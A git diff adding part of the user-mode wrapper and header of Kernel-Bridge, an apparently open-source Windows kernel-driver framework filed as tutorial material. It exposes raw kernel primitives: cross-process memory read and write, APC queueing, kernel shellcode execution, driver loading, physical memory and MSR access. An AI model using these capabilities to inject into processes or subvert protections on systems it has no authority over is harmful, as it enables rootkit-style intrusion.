+ return Status; + } + + BOOL WINAPI KbSuspendProcess(ULONG ProcessId) + { + KB_SUSPEND_RESUME_PROCESS_IN Input = {}; + Input.ProcessId = ProcessId; + return KbSendRequest(Ctls::KbSuspendProcess, &Input, sizeof(Input)); + } + + BOOL WINAPI KbResumeProcess(ULONG ProcessId) + { + KB_SUSPEND_RESUME_PROCESS_IN Input = {}; + Input.ProcessId = ProcessId; + return KbSendRequest(Ctls::KbResumeProcess, &Input, sizeof(Input)); + } + + BOOL WINAPI KbGetThreadContext(ULONG ThreadId, OUT PCONTEXT Context, ULONG ContextSize, OPTIONAL WdkTypes::KPROCESSOR_MODE ProcessorMode) + { + KB_GET_SET_THREAD_CONTEXT_IN Input = {}; + Input.ThreadId = ThreadId; + Input.ContextSize = ContextSize; + Input.ProcessorMode = ProcessorMode; + Input.Context = reinterpret_cast(Context); + return KbSendRequest(Ctls::KbGetThreadContext, &Input, sizeof(Input)); + } + + BOOL WINAPI KbSetThreadContext(ULONG ThreadId, IN PCONTEXT Context, ULONG ContextSize, OPTIONAL WdkTypes::KPROCESSOR_MODE ProcessorMode) + { + KB_GET_SET_THREAD_CONTEXT_IN Input = {}; + Input.ThreadId = ThreadId; + Input.ContextSize = ContextSize; + Input.ProcessorMode = ProcessorMode; + Input.Context = reinterpret_cast(Context); + return KbSendRequest(Ctls::KbSetThreadContext, &Input, sizeof(Input)); + } + } + + namespace MemoryManagement + { + BOOL WINAPI KbAllocUserMemory(ULONG ProcessId, ULONG Protect, ULONG Size, OUT WdkTypes::PVOID* BaseAddress) + { + if (!ProcessId || !Size || !BaseAddress) return FALSE; + KB_ALLOC_USER_MEMORY_IN Input = {}; + KB_ALLOC_USER_MEMORY_OUT Output = {}; + Input.ProcessId = ProcessId; + Input.Protect = Protect; + Input.Size = Size; + BOOL Status = KbSendRequest(Ctls::KbAllocUserMemory, &Input, sizeof(Input), &Output, sizeof(Output)); + *BaseAddress = Output.BaseAddress; + return Status; + } + + BOOL WINAPI KbFreeUserMemory(ULONG ProcessId, WdkTypes::PVOID BaseAddress) + { + if (!ProcessId || !BaseAddress) return FALSE; + KB_FREE_USER_MEMORY_IN Input = {}; + Input.ProcessId = ProcessId; + Input.BaseAddress = BaseAddress; + return KbSendRequest(Ctls::KbFreeUserMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbSecureVirtualMemory( + ULONG ProcessId, + WdkTypes::PVOID BaseAddress, + ULONG Size, + ULONG ProtectRights, + OUT WdkTypes::HANDLE* SecureHandle + ) { + if (!ProcessId || !BaseAddress || !Size || !SecureHandle) return FALSE; + KB_SECURE_VIRTUAL_MEMORY_IN Input = {}; + KB_SECURE_VIRTUAL_MEMORY_OUT Output = {}; + Input.ProcessId = ProcessId; + Input.ProtectRights = ProtectRights; + Input.BaseAddress = BaseAddress; + Input.Size = Size; + BOOL Status = KbSendRequest(Ctls::KbSecureVirtualMemory, &Input, sizeof(Input), &Output, sizeof(Output)); + *SecureHandle = Output.SecureHandle; + return Status; + } + + BOOL WINAPI KbUnsecureVirtualMemory( + ULONG ProcessId, + WdkTypes::HANDLE SecureHandle + ) { + if (!ProcessId || !SecureHandle) return FALSE; + KB_UNSECURE_VIRTUAL_MEMORY_IN Input = {}; + Input.ProcessId = ProcessId; + Input.SecureHandle = SecureHandle; + return KbSendRequest(Ctls::KbUnsecureVirtualMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbReadProcessMemory( + ULONG ProcessId, + IN WdkTypes::PVOID BaseAddress, + OUT PVOID Buffer, + ULONG Size + ) { + if (!ProcessId || !BaseAddress || !Buffer || !Size) return FALSE; + KB_READ_PROCESS_MEMORY_IN Input = {}; + Input.ProcessId = ProcessId; + Input.BaseAddress = BaseAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + return KbSendRequest(Ctls::KbReadProcessMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbWriteProcessMemory( + ULONG ProcessId, + OUT WdkTypes::PVOID BaseAddress, + IN PVOID Buffer, + ULONG Size, + BOOLEAN PerformCopyOnWrite + ) { + if (!ProcessId || !BaseAddress || !Buffer || !Size) return FALSE; + KB_WRITE_PROCESS_MEMORY_IN Input = {}; + Input.ProcessId = ProcessId; + Input.BaseAddress = BaseAddress; + Input.Buffer = reinterpret_cast(Buffer); + Input.Size = Size; + Input.PerformCopyOnWrite = PerformCopyOnWrite; + return KbSendRequest(Ctls::KbWriteProcessMemory, &Input, sizeof(Input)); + } + + BOOL WINAPI KbTriggerCopyOnWrite(ULONG ProcessId, IN WdkTypes::PVOID PageVirtualAddress) + { + if (!PageVirtualAddress) return FALSE; + KB_TRIGGER_COPY_ON_WRITE_IN Input = {}; + Input.ProcessId = ProcessId; + Input.PageVirtualAddress = PageVirtualAddress; + return KbSendRequest(Ctls::KbTriggerCopyOnWrite, &Input, sizeof(Input)); + } + + BOOL WINAPI KbGetProcessCr3Cr4(ULONG ProcessId, OUT OPTIONAL PUINT64 Cr3, OUT OPTIONAL PUINT64 Cr4) + { + if (!ProcessId) return FALSE; + KB_GET_PROCESS_CR3_CR4_IN Input = {}; + KB_GET_PROCESS_CR3_CR4_OUT Output = {}; + Input.ProcessId = ProcessId; + BOOL Status = KbSendRequest(Ctls::KbGetProcessCr3Cr4, &Input, sizeof(Input), &Output, sizeof(Output)); + if (Cr3) *Cr3 = Output.Cr3; + if (Cr4) *Cr4 = Output.Cr4; + return Status; + } + } + + namespace Apc + { + BOOL WINAPI KbQueueUserApc(ULONG ThreadId, WdkTypes::PVOID ApcProc, WdkTypes::PVOID Argument) + { + KB_QUEUE_USER_APC_IN Input = {}; + Input.ThreadId = ThreadId; + Input.ApcProc = ApcProc; + Input.Argument = Argument; + return KbSendRequest(Ctls::KbQueueUserApc, &Input, sizeof(Input)); + } + } +} + +namespace Sections +{ + BOOL WINAPI KbCreateSection( + OUT WdkTypes::HANDLE* hSection, + OPTIONAL LPCWSTR Name, + UINT64 MaximumSize, + ACCESS_MASK DesiredAccess, + ULONG SecObjFlags, // OBJ_*** + ULONG SecPageProtection, + ULONG AllocationAttributes, + OPTIONAL WdkTypes::HANDLE hFile + ) { + if (!hSection) return FALSE; + KB_CREATE_SECTION_IN Input = {}; + KB_CREATE_OPEN_SECTION_OUT Output = {}; + Input.Name = reinterpret_cast(Name); + Input.MaximumSize = MaximumSize; + Input.DesiredAccess = DesiredAccess; + Input.SecObjFlags = SecObjFlags; + Input.SecPageProtection = SecPageProtection; + Input.AllocationAttributes = AllocationAttributes; + Input.hFile = hFile; + BOOL Status = KbSendRequest(Ctls::KbCreateSection, &Input, sizeof(Input), &Output, sizeof(Output)); + *hSection = Output.hSection; + return Status; + } + + BOOL WINAPI KbOpenSection( + OUT WdkTypes::HANDLE* hSection, + LPCWSTR Name, + ACCESS_MASK DesiredAccess, + ULONG SecObjFlags // OBJ_*** + ) { + if (!hSection) return FALSE; + KB_OPEN_SECTION_IN Input = {}; + KB_CREATE_OPEN_SECTION_OUT Output = {}; + Input.Name = reinterpret_cast(Name); + Input.DesiredAccess = DesiredAccess; + Input.SecObjFlags = SecObjFlags; + BOOL Status = KbSendRequest(Ctls::KbOpenSection, &Input, sizeof(Input), &Output, sizeof(Output)); + *hSection = Output.hSection; + return Status; + } + + BOOL WINAPI KbMapViewOfSection( + WdkTypes::HANDLE hSection, + WdkTypes::HANDLE hProcess, + IN OUT WdkTypes::PVOID* BaseAddress, + ULONG CommitSize, + IN OUT OPTIONAL UINT64* SectionOffset, + IN OUT OPTIONAL UINT64* ViewSize, + WdkTypes::SECTION_INHERIT SectionInherit, + ULONG AllocationType, + ULONG Win32Protect + ) { + if (!hSection || !BaseAddress) return FALSE; + KB_MAP_VIEW_OF_SECTION_IN Input = {}; + KB_MAP_VIEW_OF_SECTION_OUT Output = {}; + Input.hSection = hSection; + Input.hProcess = hProcess; + Input.BaseAddress = *BaseAddress; + Input.CommitSize = CommitSize; + Input.SectionOffset = SectionOffset ? *SectionOffset : 0; + Input.ViewSize = ViewSize ? *ViewSize : 0; + Input.SectionInherit = SectionInherit; + Input.AllocationType = AllocationType; + Input.Win32Protect = Win32Protect; + BOOL Status = KbSendRequest(Ctls::KbMapViewOfSection, &Input, sizeof(Input), &Output, sizeof(Output)); + *BaseAddress = Output.BaseAddress; + if (SectionOffset) *SectionOffset = Output.SectionOffset; + if (ViewSize) *ViewSize = Output.ViewSize; + return Status; + } + + BOOL WINAPI KbUnmapViewOfSection( + WdkTypes::HANDLE hProcess, + WdkTypes::PVOID BaseAddress + ) { + KB_UNMAP_VIEW_OF_SECTION_IN Input = {}; + Input.hProcess = hProcess; + Input.BaseAddress = BaseAddress; + return KbSendRequest(Ctls::KbUnmapViewOfSection, &Input, sizeof(Input)); + } +} + +namespace KernelShells +{ + BOOL WINAPI KbExecuteShellCode(_ShellCode ShellCode, PVOID Argument, OUT OPTIONAL PULONG Result) + { + KB_EXECUTE_SHELL_CODE_IN Input = {}; + KB_EXECUTE_SHELL_CODE_OUT Output = {}; + Input.Address = reinterpret_cast(ShellCode); + Input.Argument = reinterpret_cast(Argument); + BOOL Status = KbSendRequest(Ctls::KbExecuteShellCode, &Input, sizeof(Input), &Output, sizeof(Output)); + if (Result) *Result = Output.Result; + return Status; + } +} + +namespace LoadableModules +{ + BOOL WINAPI KbCreateDriver(LPCWSTR DriverName, WdkTypes::PVOID DriverEntry) + { + KB_CREATE_DRIVER_IN Input = {}; + SIZE_T NameLength = 0; + __try { + NameLength = wcslen(DriverName); + } + __except (EXCEPTION_EXECUTE_HANDLER) { + return FALSE; + } + if (NameLength > 64) { + SetLastError(ERROR_INVALID_NAME); + return FALSE; // Very long name, seems like invalid data buffer + } + Input.DriverEntry = DriverEntry; + Input.DriverName = reinterpret_cast(DriverName); + Input.DriverNameSizeInBytes = static_cast(NameLength) * sizeof(WCHAR); // We're sure that Length <= 64 + return KbSendRequest(Ctls::KbCreateDriver, &Input, sizeof(Input)); + } + + BOOL WINAPI KbLoadModule( + WdkTypes::HMODULE hModule, + LPCWSTR ModuleName, + OPTIONAL WdkTypes::PVOID OnLoad, + OPTIONAL WdkTypes::PVOID OnUnload, + OPTIONAL WdkTypes::PVOID OnDeviceControl + ) { + if (!hModule || !ModuleName) return FALSE; + KB_LOAD_MODULE_IN Input = {}; + Input.hModule = hModule; + Input.ModuleName = reinterpret_cast(ModuleName); + Input.OnLoad = OnLoad; + Input.OnUnload = OnUnload; + Input.OnDeviceControl = OnDeviceControl; + return KbSendRequest(Ctls::KbLoadModule, &Input, sizeof(Input)); + } + + BOOL WINAPI KbUnloadModule(WdkTypes::HMODULE hModule) + { + if (!hModule) return FALSE; + KB_UNLOAD_MODULE_IN Input = {}; + Input.hModule = hModule; + return KbSendRequest(Ctls::KbUnloadModule, &Input, sizeof(Input)); + } + + BOOL WINAPI KbGetModuleHandle(LPCWSTR ModuleName, OUT WdkTypes::HMODULE* hModule) + { + if (!ModuleName || !hModule) return FALSE; + KB_GET_MODULE_HANDLE_IN Input = {}; + KB_GET_MODULE_HANDLE_OUT Output = {}; + Input.ModuleName = reinterpret_cast(ModuleName); + BOOL Status = KbSendRequest(Ctls::KbGetModuleHandle, &Input, sizeof(Input), &Output, sizeof(Output)); + *hModule = Output.hModule; + return Status; + } + + BOOL WINAPI KbCallModule(WdkTypes::HMODULE hModule, ULONG CtlCode, OPTIONAL WdkTypes::PVOID Argument) + { + if (!hModule) return FALSE; + KB_CALL_MODULE_IN Input = {}; + Input.hModule = hModule; + Input.CtlCode = CtlCode; + Input.Argument = Argument; + return KbSendRequest(Ctls::KbCallModule, &Input, sizeof(Input)); + } +} + +namespace Hypervisor +{ + BOOL WINAPI KbVmmEnable() + { + return KbSendRequest(Ctls::KbVmmEnable); + } + + BOOL WINAPI KbVmmDisable() + { + return KbSendRequest(Ctls::KbVmmDisable); + } + + BOOL WINAPI KbVmmInterceptPage( + IN OPTIONAL WdkTypes::PVOID64 PhysicalAddress, + IN OPTIONAL WdkTypes::PVOID64 OnReadPhysicalAddress, + IN OPTIONAL WdkTypes::PVOID64 OnWritePhysicalAddress, + IN OPTIONAL WdkTypes::PVOID64 OnExecutePhysicalAddress, + IN OPTIONAL WdkTypes::PVOID64 OnExecuteReadPhysicalAddress, + IN OPTIONAL WdkTypes::PVOID64 OnExecuteWritePhysicalAddress + ) { + KB_VMM_INTERCEPT_PAGE_IN Input = {}; + Input.PhysicalAddress = PhysicalAddress; + Input.OnReadPhysicalAddress = OnReadPhysicalAddress; + Input.OnWritePhysicalAddress = OnWritePhysicalAddress; + Input.OnExecutePhysicalAddress = OnExecutePhysicalAddress; + Input.OnExecuteReadPhysicalAddress = OnExecuteReadPhysicalAddress; + Input.OnExecuteWritePhysicalAddress = OnExecuteWritePhysicalAddress; + return KbSendRequest(Ctls::KbVmmInterceptPage, &Input, sizeof(Input)); + } + + BOOL WINAPI KbVmmDeinterceptPage(IN OPTIONAL WdkTypes::PVOID64 PhysicalAddress) + { + KB_VMM_DEINTERCEPT_PAGE_IN Input = {}; + Input.PhysicalAddress = PhysicalAddress; + return KbSendRequest(Ctls::KbVmmDeinterceptPage, &Input, sizeof(Input)); + } +} + +namespace Stuff +{ + BOOL WINAPI KbGetKernelProcAddress(LPCWSTR RoutineName, WdkTypes::PVOID* KernelAddress) + { + if (!RoutineName || !KernelAddress) return FALSE; + SIZE_T NameLength = 0; + __try { + NameLength = wcslen(RoutineName); + } + __except (EXCEPTION_EXECUTE_HANDLER) { + return FALSE; + } + if (NameLength > 64) { + SetLastError(ERROR_INVALID_NAME); + return FALSE; // Very long name, seems like invalid data buffer + } + KB_GET_KERNEL_PROC_ADDRESS_IN Input = {}; + KB_GET_KERNEL_PROC_ADDRESS_OUT Output = {}; + Input.RoutineName = reinterpret_cast(RoutineName); + Input.SizeOfBufferInBytes = static_cast(NameLength) * sizeof(WCHAR); // We're sure that Length <= 64 + BOOL Status = KbSendRequest(Ctls::KbGetKernelProcAddress, &Input, sizeof(Input), &Output, sizeof(Output)); + *KernelAddress = Output.Address; + return Status; + } + + BOOL WINAPI KbStallExecutionProcessor(ULONG Microseconds) + { + KB_STALL_EXECUTION_PROCESSOR_IN Input = {}; + Input.Microseconds = Microseconds; + return KbSendRequest(Ctls::KbStallExecutionProcessor, &Input, sizeof(Input)); + } + + BOOL WINAPI KbBugCheck(ULONG Status) + { + KB_BUG_CHECK_IN Input = {}; + Input.Status = Status; + return KbSendRequest(Ctls::KbBugCheck, &Input, sizeof(Input)); + } + + BOOL WINAPI KbFindSignature( + OPTIONAL ULONG ProcessId, + WdkTypes::PVOID Memory, + ULONG Size, + LPCSTR Signature, + LPCSTR Mask, + OUT WdkTypes::PVOID* FoundAddress + ) { + if (!FoundAddress) return FALSE; + KB_FIND_SIGNATURE_IN Input = {}; + KB_FIND_SIGNATURE_OUT Output = {}; + Input.ProcessId = ProcessId; + Input.Memory = Memory; + Input.Size = Size; + Input.Signature = reinterpret_cast(Signature); + Input.Mask = reinterpret_cast(Mask); + BOOL Status = KbSendRequest(Ctls::KbFindSignature, &Input, sizeof(Input), &Output, sizeof(Output)); + *FoundAddress = Output.Address; + return Status; + } +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/User-Bridge.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/User-Bridge.h" new file mode 100644 index 0000000..4076cbe --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/User-Bridge.h" @@ -0,0 +1,473 @@ +#pragma once +#include + +#include "WdkTypes.h" +#include "CtlTypes.h" +#include "DriversUtils.h" + +namespace KbLoader +{ + BOOL WINAPI KbLoadAsDriver(LPCWSTR DriverPath); + BOOL WINAPI KbLoadAsFilter(LPCWSTR DriverPath, LPCWSTR Altitude); + BOOL WINAPI KbUnload(); + ULONG WINAPI KbGetDriverApiVersion(); + ULONG WINAPI KbGetUserApiVersion(); + BOOL WINAPI KbGetHandlesCount(OUT PULONG Count); +} + +namespace AddressRange +{ + inline BOOLEAN IsUserAddress(PVOID Address) + { + return reinterpret_cast(Address) < (static_cast(1) << (8 * sizeof(SIZE_T) - 1)); + } + + inline BOOLEAN IsKernelAddress(PVOID Address) + { + return reinterpret_cast(Address) >= (static_cast(1) << (8 * sizeof(SIZE_T) - 1)); + } + + inline BOOLEAN IsUserAddressIa32(UINT64 Address) + { + return Address < 0x80000000; + } + + inline BOOLEAN IsUserAddressAmd64(UINT64 Address) + { + return Address < 0x8000000000000000; + } + + inline BOOLEAN IsKernelAddressIa32(UINT64 Address) + { + return Address > 0x7FFFFFFF; + } + + inline BOOLEAN IsKernelAddressAmd64(UINT64 Address) + { + return Address > 0x7FFFFFFFFFFFFFFF; + } +} + +namespace IO +{ + namespace Beeper + { + BOOL WINAPI KbSetBeeperRegime(); + BOOL WINAPI KbStartBeeper(); + BOOL WINAPI KbStopBeeper(); + BOOL WINAPI KbSetBeeperIn(); + BOOL WINAPI KbSetBeeperOut(); + BOOL WINAPI KbSetBeeperDivider(USHORT Divider); + BOOL WINAPI KbSetBeeperFrequency(USHORT Frequency); + } + + namespace RW + { + BOOL WINAPI KbReadPortByte(USHORT PortNumber, OUT PUCHAR Value); + BOOL WINAPI KbReadPortWord(USHORT PortNumber, OUT PUSHORT Value); + BOOL WINAPI KbReadPortDword(USHORT PortNumber, OUT PULONG Value); + + BOOL WINAPI KbReadPortByteString(USHORT PortNumber, ULONG Count, OUT PUCHAR ByteString, ULONG ByteStringSizeInBytes); + BOOL WINAPI KbReadPortWordString(USHORT PortNumber, ULONG Count, OUT PUSHORT WordString, ULONG WordStringSizeInBytes); + BOOL WINAPI KbReadPortDwordString(USHORT PortNumber, ULONG Count, OUT PULONG DwordString, ULONG DwordStringSizeInBytes); + + BOOL WINAPI KbWritePortByte(USHORT PortNumber, UCHAR Value); + BOOL WINAPI KbWritePortWord(USHORT PortNumber, USHORT Value); + BOOL WINAPI KbWritePortDword(USHORT PortNumber, ULONG Value); + + BOOL WINAPI KbWritePortByteString(USHORT PortNumber, ULONG Count, IN PUCHAR ByteString, ULONG ByteStringSizeInBytes); + BOOL WINAPI KbWritePortWordString(USHORT PortNumber, ULONG Count, IN PUSHORT WordString, ULONG WordStringSizeInBytes); + BOOL WINAPI KbWritePortDwordString(USHORT PortNumber, ULONG Count, IN PULONG DwordString, ULONG DwordStringSizeInBytes); + } + + namespace Iopl + { + // Allows to use 'in/out/cli/sti' in usermode: + BOOL WINAPI KbRaiseIopl(); + BOOL WINAPI KbResetIopl(); + } +} + +namespace CPU +{ + BOOL WINAPI KbCli(); + BOOL WINAPI KbSti(); + BOOL WINAPI KbHlt(); + + BOOL WINAPI KbReadMsr(ULONG Index, OUT PUINT64 MsrValue); + BOOL WINAPI KbWriteMsr(ULONG Index, IN UINT64 MsrValue); + + using CPUID_INFO = struct + { + ULONG Eax; + ULONG Ebx; + ULONG Ecx; + ULONG Edx; + }; + using PCPUID_INFO = CPUID_INFO * ; + + BOOL WINAPI KbCpuid(ULONG FunctionIdEax, OUT PCPUID_INFO CpuidInfo); + BOOL WINAPI KbCpuidEx(ULONG FunctionIdEax, ULONG SubfunctionIdEcx, OUT PCPUID_INFO CpuidInfo); + + BOOL WINAPI KbReadPmc(ULONG Counter, OUT PUINT64 PmcValue); + BOOL WINAPI KbReadTsc(OUT PUINT64 TscValue); + BOOL WINAPI KbReadTscp(OUT PUINT64 TscValue, OUT OPTIONAL PULONG TscAux); +} + +namespace VirtualMemory +{ + // Supports both user- and kernel-memory in context of current process: + BOOL WINAPI KbAllocKernelMemory(ULONG Size, BOOLEAN Executable, OUT WdkTypes::PVOID* KernelAddress); + BOOL WINAPI KbFreeKernelMemory(IN WdkTypes::PVOID KernelAddress); + BOOL WINAPI KbAllocNonCachedMemory(ULONG Size, OUT WdkTypes::PVOID* KernelAddress); + BOOL WINAPI KbFreeNonCachedMemory(WdkTypes::PVOID KernelAddress, ULONG Size); + BOOL WINAPI KbCopyMoveMemory(OUT WdkTypes::PVOID Dest, IN WdkTypes::PVOID Src, ULONG Size, BOOLEAN Intersects); + BOOL WINAPI KbFillMemory(IN WdkTypes::PVOID Address, UCHAR Filler, ULONG Size); + BOOL WINAPI KbEqualMemory(IN WdkTypes::PVOID Src, IN WdkTypes::PVOID Dest, ULONG Size, OUT PBOOLEAN Equals); +} + +namespace Mdl +{ + BOOL WINAPI KbAllocateMdl( + WdkTypes::PVOID VirtualAddress, + ULONG Size, + OUT WdkTypes::PMDL* Mdl + ); + + BOOL WINAPI KbProbeAndLockPages( + OPTIONAL ULONG ProcessId, + WdkTypes::PMDL Mdl, + WdkTypes::KPROCESSOR_MODE ProcessorMode, + WdkTypes::LOCK_OPERATION LockOperation + ); + + BOOL WINAPI KbMapMdl( + OUT WdkTypes::PVOID* MappedMemory, + OPTIONAL UINT64 SrcProcessId, + OPTIONAL UINT64 DestProcessId, + WdkTypes::PMDL Mdl, + BOOLEAN NeedProbeAndLock, + WdkTypes::KPROCESSOR_MODE MapToAddressSpace = WdkTypes::UserMode, + ULONG Protect = PAGE_READWRITE, + WdkTypes::MEMORY_CACHING_TYPE CacheType = WdkTypes::MmNonCached, + OPTIONAL WdkTypes::PVOID UserRequestedAddress = NULL + ); + + BOOL WINAPI KbProtectMappedMemory(IN WdkTypes::PMDL Mdl, ULONG Protect); + BOOL WINAPI KbUnmapMdl(IN WdkTypes::PMDL Mdl, IN WdkTypes::PVOID MappedMemory, BOOLEAN NeedUnlock); + BOOL WINAPI KbUnlockPages(WdkTypes::PMDL Mdl); + BOOL WINAPI KbFreeMdl(WdkTypes::PMDL Mdl); + + using MAPPING_INFO = struct + { + WdkTypes::PVOID MappedAddress; + WdkTypes::PVOID Mdl; + }; + using PMAPPING_INFO = MAPPING_INFO * ; + + BOOL WINAPI KbMapMemory( + OUT PMAPPING_INFO MappingInfo, + OPTIONAL UINT64 SrcProcessId, + OPTIONAL UINT64 DestProcessId, + WdkTypes::PVOID VirtualAddress, + ULONG Size, + WdkTypes::KPROCESSOR_MODE MapToAddressSpace = WdkTypes::UserMode, + ULONG Protect = PAGE_READWRITE, + WdkTypes::MEMORY_CACHING_TYPE CacheType = WdkTypes::MmNonCached, + OPTIONAL WdkTypes::PVOID UserRequestedAddress = NULL + ); + BOOL WINAPI KbUnmapMemory(IN PMAPPING_INFO MappingInfo); +} + +namespace PhysicalMemory +{ + // Allocates contiguous physical memory in the specified range: + BOOL WINAPI KbAllocPhysicalMemory( + WdkTypes::PVOID LowestAcceptableAddress, + WdkTypes::PVOID HighestAcceptableAddress, + WdkTypes::PVOID BoundaryAddressMultiple, + ULONG Size, + WdkTypes::MEMORY_CACHING_TYPE CachingType, + OUT WdkTypes::PVOID* Address + ); + + BOOL WINAPI KbFreePhysicalMemory(WdkTypes::PVOID Address); + + // Maps physical memory to a KERNEL address-space, so if you + // wants to work with it in usermode, you should map it to usermode + // by Mdl::MapMemory: + BOOL WINAPI KbMapPhysicalMemory( + IN WdkTypes::PVOID PhysicalAddress, + ULONG Size, + WdkTypes::MEMORY_CACHING_TYPE CachingType, + OUT WdkTypes::PVOID* VirtualAddress + ); + BOOL WINAPI KbUnmapPhysicalMemory(IN WdkTypes::PVOID VirtualAddress, ULONG Size); + + // Obtains physical address for specified virtual address + // in context of target process: + BOOL WINAPI KbGetPhysicalAddress( + IN OPTIONAL WdkTypes::PEPROCESS Process, + IN WdkTypes::PVOID VirtualAddress, + OUT WdkTypes::PVOID* PhysicalAddress + ); + + BOOL WINAPI KbGetVirtualForPhysical( + IN WdkTypes::PVOID PhysicalAddress, + OUT WdkTypes::PVOID* VirtualAddress + ); + + // Reads and writes raw physical memory to buffer in context of current process: + BOOL WINAPI KbReadPhysicalMemory( + WdkTypes::PVOID64 PhysicalAddress, + OUT PVOID Buffer, + ULONG Size, + WdkTypes::MEMORY_CACHING_TYPE CachingType = WdkTypes::MmNonCached + ); + BOOL WINAPI KbWritePhysicalMemory( + WdkTypes::PVOID64 PhysicalAddress, + IN PVOID Buffer, + ULONG Size, + WdkTypes::MEMORY_CACHING_TYPE CachingType = WdkTypes::MmNonCached + ); + + BOOL WINAPI KbReadDmiMemory(OUT UCHAR DmiMemory[DmiSize], ULONG BufferSize); +} + +namespace Processes +{ + namespace Descriptors + { + // EPROCESS/ETHREAD must be dereferenced by KbDereferenceObject, + // HANDLE must be closed by KbCloseHandle: + BOOL WINAPI KbGetEprocess(ULONG ProcessId, OUT WdkTypes::PEPROCESS* Process); + BOOL WINAPI KbGetEthread(ULONG ThreadId, OUT WdkTypes::PETHREAD* Thread); + BOOL WINAPI KbOpenProcess( + ULONG ProcessId, + OUT WdkTypes::HANDLE* hProcess, + OPTIONAL ACCESS_MASK Access = PROCESS_ALL_ACCESS, + OPTIONAL ULONG Attributes = ObjFlags::_OBJ_CASE_INSENSITIVE | ObjFlags::_OBJ_KERNEL_HANDLE + ); + BOOL WINAPI KbOpenProcessByPointer( + WdkTypes::PEPROCESS Process, + OUT WdkTypes::HANDLE* hProcess, + OPTIONAL ACCESS_MASK Access = PROCESS_ALL_ACCESS, + OPTIONAL ULONG Attributes = ObjFlags::_OBJ_CASE_INSENSITIVE | ObjFlags::_OBJ_KERNEL_HANDLE, + OPTIONAL WdkTypes::KPROCESSOR_MODE ProcessorMode = WdkTypes::KernelMode + ); + BOOL WINAPI KbOpenThread( + ULONG ThreadId, + OUT WdkTypes::HANDLE* hThread, + OPTIONAL ACCESS_MASK Access = PROCESS_ALL_ACCESS, + OPTIONAL ULONG Attributes = ObjFlags::_OBJ_CASE_INSENSITIVE | ObjFlags::_OBJ_KERNEL_HANDLE + ); + BOOL WINAPI KbOpenThreadByPointer( + WdkTypes::PETHREAD Thread, + OUT WdkTypes::HANDLE* hThread, + OPTIONAL ACCESS_MASK Access = PROCESS_ALL_ACCESS, + OPTIONAL ULONG Attributes = ObjFlags::_OBJ_CASE_INSENSITIVE | ObjFlags::_OBJ_KERNEL_HANDLE, + OPTIONAL WdkTypes::KPROCESSOR_MODE ProcessorMode = WdkTypes::KernelMode + ); + BOOL WINAPI KbDereferenceObject(WdkTypes::PVOID Object); + BOOL WINAPI KbCloseHandle(WdkTypes::HANDLE Handle); + } + + namespace Information + { + BOOL WINAPI KbQueryInformationProcess( + WdkTypes::HANDLE hProcess, + NtTypes::PROCESSINFOCLASS ProcessInfoClass, + OUT PVOID Buffer, + ULONG Size, + OPTIONAL OUT PULONG ReturnLength = NULL + ); + BOOL WINAPI KbSetInformationProcess( + WdkTypes::HANDLE hProcess, + NtTypes::PROCESSINFOCLASS ProcessInfoClass, + IN PVOID Buffer, + ULONG Size + ); + BOOL WINAPI KbQueryInformationThread( + WdkTypes::HANDLE hThread, + NtTypes::THREADINFOCLASS ThreadInfoClass, + OUT PVOID Buffer, + ULONG Size, + OPTIONAL OUT PULONG ReturnLength = NULL + ); + BOOL WINAPI KbSetInformationThread( + WdkTypes::HANDLE hThread, + NtTypes::THREADINFOCLASS ThreadInfoClass, + IN PVOID Buffer, + ULONG Size + ); + } + + namespace Threads + { + using NTSTATUS = ULONG; + using _ThreadRoutine = NTSTATUS(NTAPI*)(PVOID Argument); + + BOOL WINAPI KbCreateUserThread( + ULONG ProcessId, + WdkTypes::PVOID ThreadRoutine, + WdkTypes::PVOID Argument, + BOOL CreateSuspended, + OUT OPTIONAL WdkTypes::CLIENT_ID* ClientId, + OUT OPTIONAL WdkTypes::HANDLE* hThread + ); + + BOOL WINAPI KbCreateSystemThread( + ULONG ProcessId, + WdkTypes::PVOID ThreadRoutine, + WdkTypes::PVOID Argument, + OUT OPTIONAL WdkTypes::CLIENT_ID* ClientId, + OUT OPTIONAL WdkTypes::HANDLE* hThread + ); + + BOOL WINAPI KbSuspendProcess(ULONG ProcessId); + BOOL WINAPI KbResumeProcess(ULONG ProcessId); + + BOOL WINAPI KbGetThreadContext(ULONG ThreadId, OUT PCONTEXT Context, ULONG ContextSize, OPTIONAL WdkTypes::KPROCESSOR_MODE ProcessorMode = WdkTypes::UserMode); + BOOL WINAPI KbSetThreadContext(ULONG ThreadId, IN PCONTEXT Context, ULONG ContextSize, OPTIONAL WdkTypes::KPROCESSOR_MODE ProcessorMode = WdkTypes::UserMode); + } + + namespace MemoryManagement + { + BOOL WINAPI KbAllocUserMemory(ULONG ProcessId, ULONG Protect, ULONG Size, OUT WdkTypes::PVOID* BaseAddress); + BOOL WINAPI KbFreeUserMemory(ULONG ProcessId, WdkTypes::PVOID BaseAddress); + + BOOL WINAPI KbSecureVirtualMemory( + ULONG ProcessId, + WdkTypes::PVOID BaseAddress, + ULONG Size, + ULONG ProtectRights, + OUT WdkTypes::HANDLE* SecureHandle + ); + + BOOL WINAPI KbUnsecureVirtualMemory( + ULONG ProcessId, + WdkTypes::HANDLE SecureHandle + ); + + BOOL WINAPI KbReadProcessMemory( + ULONG ProcessId, + IN WdkTypes::PVOID BaseAddress, + OUT PVOID Buffer, + ULONG Size + ); + + BOOL WINAPI KbWriteProcessMemory( + ULONG ProcessId, + OUT WdkTypes::PVOID BaseAddress, + IN PVOID Buffer, + ULONG Size, + BOOLEAN PerformCopyOnWrite = TRUE + ); + + BOOL WINAPI KbTriggerCopyOnWrite(ULONG ProcessId, IN WdkTypes::PVOID PageVirtualAddress); + + BOOL WINAPI KbGetProcessCr3Cr4(ULONG ProcessId, OUT OPTIONAL PUINT64 Cr3, OUT OPTIONAL PUINT64 Cr4); + } + 